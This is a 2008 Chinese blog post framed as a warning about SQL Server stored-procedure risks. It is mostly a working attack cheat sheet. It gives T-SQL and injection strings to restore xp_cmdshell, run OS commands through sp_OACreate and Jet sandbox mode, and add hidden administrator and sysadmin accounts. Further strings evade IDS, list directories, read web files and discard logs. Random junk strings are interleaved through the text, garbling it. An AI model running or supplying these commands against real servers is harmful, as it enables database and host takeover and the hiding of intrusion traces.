[攻防手记]SQL存储过程带来的安全危险

上一篇 / 下一篇  2008-02-29 09:23:32

看过笔者文章的读者可能知道,笔者在渗透的时候最喜欢使用一些存储过程有些都是已知的,但是很多人并不常用,强大的SQL存储过程带来的安全危险是不能忽视的,这里我把笔者整理的一些常用的SQL语句以及存储过程共享出来,希望能引起注意。IXPUB技术博客 `f4@^*@w:Hng

    首先说一下如果我们手中有SA权限那么我们该怎么做呢? 很多朋友就会想到了执行DOS命令加一个管理员权限的用户 用SQL执行的语句就是IXPUB技术博客5t*uL:h$bF4I

IXPUB技术博客"n(h'oAM L

    exec master.dbo.xp_cmdshell 'net user xx xx/add' 但是很多时候我们在使用工具的时候并不能成功的加用户,

E"i2\ LR t[k_E{S0IXPUB技术博客@3VqQ+gsHm-B

    原因可能有以下几个:IXPUB技术博客-`,G:B.dS

IXPUB技术博客iAFG:WW

    1.xp_cmdshell 被删除
l{k(R2I0    2.xp_cmdshell所使用的xplog70.dll被删除IXPUB技术博客"W)O'~ \b6Is6I

IXPUB技术博客PJx"n5H

    那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:IXPUB技术博客v f k+HUwC

IXPUB技术博客+F\(h?!l-G

    ★IXPUB技术博客Ax6YSmN0\'@
    use master 
y%N&\$H pV/u-O0    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' 
5ppt4o#NB0    exec sp_addextendedproc xp_dirtree,'xpstar.dll' 
7ddD Qm;Oq{0    exec sp_addextendedproc xp_enumgroups,'xplog70.dll' IXPUB技术博客 v8t#OU\-||0v ?
    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' IXPUB技术博客!UA9CU)L$z.z7z`
    exec sp_addextendedproc xp_loginconfig,'xplog70.dll' IXPUB技术博客+v0aQ pa V%v s/u
    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' IXPUB技术博客xaXc4z;P A
    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 
pK9a)x0qP$l0    exec sp_addextendedproc sp_OACreate,'odsole70.dll' IXPUB技术博客a(z j{"w
    exec sp_addextendedproc sp_OADestroy,'odsole70.dll' IXPUB技术博客WjD%T@B
    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' IXPUB技术博客V+z8Z sm!_x}
    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 
,YM9l#aI6b0    exec sp_addextendedproc sp_OAMethod,'odsole70.dll' IXPUB技术博客YE F*ZH2S J
    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' IXPUB技术博客j'U;}z5^'xRN{
    exec sp_addextendedproc sp_OAStop,'odsole70.dll' 
+r Js8JJ(W ?0    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 
yz7sQ[(w0    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 
q2h0lE%J1?(r\0    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 
1}'H Jd%r? BXTk0    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 
pG8TvJt-a0    exec sp_addextendedproc xp_regread,'xpstar.dll' 
ft}4eE9N9u{%H0    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 
6])p Y-l,G&@,ZP)s0    exec sp_addextendedproc xp_regwrite,'xpstar.dll' IXPUB技术博客0o Qhaw#V
    ★

G1]*XP/e8[0

2|C&h|MU{:k7R0    以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外我再告诉大家xp_cmdshell新的恢复办法。

BU)|ZU0IXPUB技术博客-`(lz"yC$l&YBi

    扩展储存过程被删除以后可以有很简单的办法恢复:IXPUB技术博客sdZ6I.TV
    删除
$~ HfZmr0    drop procedure sp_addextendedproc
0zY'tI|-`cL0    drop procedure sp_oacreate
/LD'Ck$S2UW3S0    exec sp_dropextendedproc 'xp_cmdshell'

^5P Sx*Tk0

7TU|%e#^L0    恢复
+j-KUKuvS$f0    dbcc addextendedproc ("sp_oacreate","odsole70.dll")IXPUB技术博客!swNc'x^F/^
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

U2WW2UK*j x/ru0IXPUB技术博客Aq,G?;Gx\nI5s

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

y G8@V e1R0

ITa'vQl L0    那么我们继续来解决第二个问题, 如果是DLL被删了该怎么办呢? 很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate ,语句是:IXPUB技术博客O fi0{d)AoY
    ★
2I-i/M1Mnm"[6b Fq0    DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHODIXPUB技术博客O2n.Bn:A9^r W+v
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user iisloger hook /add'IXPUB技术博客 M wC Mk@4}
    ★IXPUB技术博客(p3x$I#Z%H2Js
    上面的语句就是添加一个用户名为iisloger密码为hook的用户。但是我们要注意了,使用 SP_OAcreate是需要wscript.shell来支持的。如果wscript.shell被删除的话就是不能执行成功了。IXPUB技术博客%~-FlV$hL%|!Z b2l

4\ h9Z{#B#y5Q2?0    另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
JC%B L4C9S$Nn#D4] D0    代码如下:
{b%Vd)Lx0    ★
\ C!K%P7l,t+|2b*`0    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engine','SandBoxMode','REG_DWORD','0'
.mg:E `\[+b0    意思是修改注册表 开启沙盒IXPUB技术博客$Wa A EwJz5I R:m

.{M#{-Y/F;ys-jgv0    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');IXPUB技术博客U?&|sXo
    利用沙盒模式来添加个管理员IXPUB技术博客 j z-t6s `,E:j~q

$D&XSO uhA!TP0IXPUB技术博客&^^5R*pQ"I ^|Z

因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以上两种方法都不可以用的时候就可以考虑沙盒模式

"K8bx'R)PV|Y0IXPUB技术博客bR M1zF~+G+g

    至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。IXPUB技术博客kQ[:c[4P

IXPUB技术博客A.L2l ]o){

    下面我在列出一些笔者常用的语句给大家参考

g}(c}[iD0

n[}m:YY@+h&N0    检测 xp_cmdshell (CMD命令)|
0VBG:L'QR,i R0    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

!?0Ky;U,q*Y.ya0IXPUB技术博客Au$~vd&X1c

    检测 xp_regread (注册表读取功能)|IXPUB技术博客gA8N(}+O
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

9O#^i#n5t/e:uS0

,_&A!g)T4i0    检测 sp_makewebtask (备份功能)|IXPUB技术博客;F+k/s7J4x z#v6Nb
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

]om)b5oYl(?9Y0

}/a gyd-x7QK2A0    检测 sp_addextendedproc|IXPUB技术博客:n(P.R0CS,r1t1C-z4mpv I
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')IXPUB技术博客M~l$J.C a1_

IXPUB技术博客Fq[(ad&x

    检测 xp_subdirs 读子目录|IXPUB技术博客O*y'e;F`
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

N@!LG$\5UDHl0

Z)I9h*`R&cR w0K0    检测 xp_dirtree 读子目录|IXPUB技术博客/TeIlNP9x
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')IXPUB技术博客h2v"J {D\ S

IXPUB技术博客^/hI%xe B)c _;OqD#NH

    检测 SP_OAcreate (执行命令)|
yu7q4K}?*De0    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

nr8FU%~L1M0

4A C@2R cet0    执行CMD命令 SP_OAcreate
3j)P"QN@;n2F'J"He0    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add'IXPUB技术博客9W7Od4p!za8R

IXPUB技术博客"d;H)VQ7h:w-yD

    sp_OACreate:IXPUB技术博客9Y9]%m%u&LQZ
    运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用   //要记住这点,如果服务器over了,wscript.shell那么这存储过程也没多大的用了在注入方面。IXPUB技术博客8C:^6I{3w

IXPUB技术博客7{'s(K(h3xAp*~L

    建目录 SP_OAcreate|
a ISej1f7\5p0    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'

I l J'b{1Cb0IXPUB技术博客4X!oBS'l]|n

    创建一个虚拟目录E盘|
MX2b!Y{0    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'IXPUB技术博客 x%{N!_cA1t!I:Z

IXPUB技术博客5M$Wa7X-Cf @G+Y$`z

    设置虚拟目录为可读 e |IXPUB技术博客-pJ!n SE7J4|h
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'IXPUB技术博客2K^&A,h`5EI

uta(@?QP0启动 server 服务|IXPUB技术博客/Bm(B_w dk-I$K"X
    ;exec master..xp_servicecontrol 'start', 'server' 当然你也可以启动其它服务IXPUB技术博客:Zf6_5c'ZE e

IXPUB技术博客.us(H#a-aIH0cp\/\

    绕过IDS的检测的 xp_cmdshell|IXPUB技术博客2? P*i;B M9Y/xd
    ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

-fi&IU,b K4d0IXPUB技术博客z'\o5\d{-b~BM

    开启远程数据库1|IXPUB技术博客A+Ug6h-wz f#]0i
    ; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

SJd t"S&O#|0

p1BLI9D\!u\0    开启远程数据库2|IXPUB技术博客4[(xN#[ID)q
    ;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'IXPUB技术博客QF C*C7b;Ry

7N_z bg lS0    添加mssql和系统的帐户IXPUB技术博客3T|J"F`&u&W
    ;exec master.dbo.sp_addlogin username;--

.kS2D9R~*MT#Ih$q0a0IXPUB技术博客 W0E"Q K}3G"ua,g

    ;exec master.dbo.sp_password null,password,username;--IXPUB技术博客8e\tj4N

IXPUB技术博客3@J4ga4T/L} nZ

    ;exec master.dbo.sp_addsrvrolemember sysadmin username;--

x;l [)N~iQO0IXPUB技术博客r{ Bi T:`

    ;exec master.dbo.xp_cmdshell 'net user username password
:w,]-k4m+aN H0/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

"h&P]:Bg E0IXPUB技术博客a,PATX@}[XH

    ;exec master.dbo.xp_cmdshell 'net user username password /add';--

8z~6VOb2^5]0

2|.hQd0|0    ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

D4H4i8[mO0

!@;{ hq,f%Ko+~4my0    遍历目录  /不一定用来遍历目录,你也可以把xp_cmdshell执行的结果,插入表中IXPUB技术博客k1r sC7H O \

IXPUB技术博客P2W1t`yt_

    ;create table dirs(paths varchar(100), id int)  
d+E bKZy9B+Q0    ;insert dirs exec master.dbo.xp_dirtree 'c:\'  IXPUB技术博客Bn A&U b-Z Ax
    ;and (select top 1 paths from dirs)>0
WMN2~6F4\Q0    ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

'X p+Ic3N*Z^~;_0

$i9j"?l \d Q"S0    遍历目录IXPUB技术博客tt2W)i"q,S&nv:{ _
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
*t+|9jz?t&mdT0    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
b8P+w,]9K^M0    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表IXPUB技术博客"dwK/m'M;z3t*S
    ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构IXPUB技术博客 P1a/zmRX"vx
    ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

%]s||'m.Y ovb0

i/M,y2{o_ Nnf0    删除日志:IXPUB技术博客ky'?%lCQ
    DUMP  TRANSACTION sdfsdfsdf WITH NO_LOG

m"[t&\'db}0

TAG:

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

Open Toolbar